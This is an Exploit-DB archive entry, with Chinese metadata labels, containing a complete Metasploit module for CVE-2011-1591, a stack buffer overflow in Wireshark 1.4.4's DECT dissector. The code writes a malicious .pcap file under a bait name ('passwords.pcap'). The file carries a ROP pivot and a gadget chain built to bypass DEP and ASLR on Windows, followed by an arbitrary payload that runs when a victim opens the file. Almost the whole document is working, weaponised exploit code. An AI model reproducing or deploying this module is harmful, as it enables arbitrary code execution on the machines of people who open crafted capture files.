标题: Wireshark 1.4.4 - 'packet-dect.c' Local Stack Buffer Overflow (Metasploit) (1) EDB-ID: 17186 CVE: 2011-1591 类型: LOCAL 平台: WINDOWS 发布日期: 2011-04-19 漏洞利用脚本: ##
# $Id: wireshark_packet_dect.rb 12364 2011-04-19 07:53:58Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::FILEFORMAT

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Wireshark <= 1.4.4 packet-dect.c Stack Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in Wireshark <= 1.4.4
    When opening a malicious .pcap file in Wireshark, a stack buffer occurs,
    resulting in arbitrary code execution.
    This exploit bypasses DEP & ASLR and works on XP, Vista & Windows 7.
   },
   'License'        => MSF_LICENSE,
   'Author'         =>
    [
     'sickness',     #found the vulnerabilitiy
     'corelanc0d3r'  #rop exploit + msf module
    ],
   'Version'        => '$Revision: 12364 $',
   'References'     =>
    [
     [ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=5838' ],
     [ 'URL', 'https://bugs.wireshark.org/bugzilla/show_bug.cgi?id=5836' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/17185' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'       => 936,
     'DisableNops' => 'True',
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ '32-bit Windows Universal (Generic DEP & ASLR Bypass)', 
      { 
       'OffSet' => 1243,
       'Ret'    => 0x667c484d, #libgnutl pivot - tx Lincoln
      }
     ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Apr 18 2011',
   'DefaultTarget'  => 0))

  register_options(
   [
    OptString.new('FILENAME', [ true, 'pcap file',  'passwords.pcap']),
   ], self.class)
 end
 
 def junk
  return rand_text(4).unpack("L")[0].to_i
 end

 def exploit

  print_status("Creating '#{datastore['FILENAME']}' file ...")

  global_header = "\xd4\xc3\xb2\xa1"      # magic_number
  global_header << "\x02\x00"             # major version
  global_header << "\x04\x00"             # minor version
  global_header << "\x00\x00\x00\x00"     # GMT to local correction
  global_header << "\x00\x00\x00\x00"     # accuracy
  global_header << "\xff\x7f\x00\x00"     # snaplen
  global_header << "\x01\x00\x00\x00"     # data link type

  packet_header = "\x26\x32\xac\x4d"      #timestamp seconds
  packet_header << "\xda\xfa\x00\x08"     #timestamp microseconds
  packet_header << "\x04\x06\x00\x00"     #nr of octets of packet in file
  packet_header << "\x04\x06\x00\x00"     #actual size of packet (1540) 

  ptype = "\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x23\x23"

  print_status("Preparing payload")

  pivot = [target.ret].pack('V')

  # pvefindaddr rop 'n roll
  # tx dadr00p (https://twitter.com/dietersar) for testing the offsets below
  rop_pivot =
  [
   0x618d7d0e,     # RET  
   0x618d7d0e,     # RET  
   0x618d7d0e,     # RET  
   0x64f9d5ec,     # ADD ESP,0C # RET - libfontconfig-1.dll
   0x618d7d0e,     # RET <- don't count on this one !
   0x618d7d0e,     # RET
   0x618d7d0e,     # RET
   0x618d7d0e,     # RET
   0x61C14268,     # ADD ESP,24 # RETN - freetype6.dll
   0xFFFFFFFF,     # crash baby ! 
   0xFFFFFFFF,
   0xFFFFFFFF,
   0xFFFFFFFF,
   0xFFFFFFFF,
   0x618d7d0e,
   0x618d7d0e,
   0x618d7d0e,
   0x618d7d0e,
  ].pack("V*")

  rop_gadgets =
  [
 
   0x6d7155cb,     # PUSH ESP # POP EBX # POP EBP # RETN  **[libpangoft2-1.0-0.dll]
   junk,
   0x6d596e31,     # MOV EAX,EBX # POP EBX # POP EBP # RETN  **[libgio-2.0-0.dll]
   junk,
   junk,
   0x61c14552,     # POP EBX # RETN    ** [freetype6.dll]
   0x00000800,     # size - 0x800 should be more than enough
   0x61c14043,     # POP ESI # RETN    ** [freetype6.dll] 
   0x0000009C, 
   0x6d58321a,     # ADD EAX,ESI # POP ESI # POP EBP # RETN    **[libgio-2.0-0.dll]
   junk,
   junk,
   0x68610a27,     # XCHG EAX,EBP # RETN    ** [libglib-2.0-0.dll]
   0x629445a6,     # POP EAX # RETN    ** [libatk-1.0-0.dll]
   0x62d9027c,     # 
   0x6c385913,     # MOV EAX,DWORD PTR DS:[EAX] # ADD CL,CL # RETN  ** [libgdk-win32-2.0-0.dll]
   0x617bc526,     # XCHG EAX,ESI # ADD AL,10 # ADD CL,CL # RETN    ** [libgtk-win32-2.0-0.dll]
   0x64f8c692,     # POP EDX # RETN    ** [libfontconfig-1.dll]
   0x00000040,     #
   0x619638db,     # POP ECX # RETN    ** [libgtk-win32-2.0-0.dll]
   0x6536B010,     # RW
   0x618d7d0d,     # POP EDI # RETN    ** [libgtk-win32-2.0-0.dll] 
   0x618d7d0e,     # RET
   0x64fa0c15,     # POP EAX # RETN    ** [libfontconfig-1.dll] 
   0x618d7d0e,     # RET
   0x61963fdb,     # PUSHAD # RETN     ** [libgtk-win32-2.0-0.dll]
  ].pack("V*")

  pivot = [target.ret].pack('V')

  buffer = rand_text(131)
  buffer << rop_pivot
  buffer << rop_gadgets

  nops = make_nops(target['OffSet'] - (buffer.length) - (payload.encoded.length))

  buffer << nops
  buffer << payload.encoded
  buffer << pivot

  filler = 1540 - buffer.length

  buffer << rand_text(filler)

  filecontent = global_header
  filecontent << packet_header
  filecontent << ptype
  filecontent << buffer

  print_status("Writing payload to file, " + filecontent.length.to_s()+" bytes")

  file_create(filecontent)
 end
end URL: https://www.exploit-db.com/exploits/17186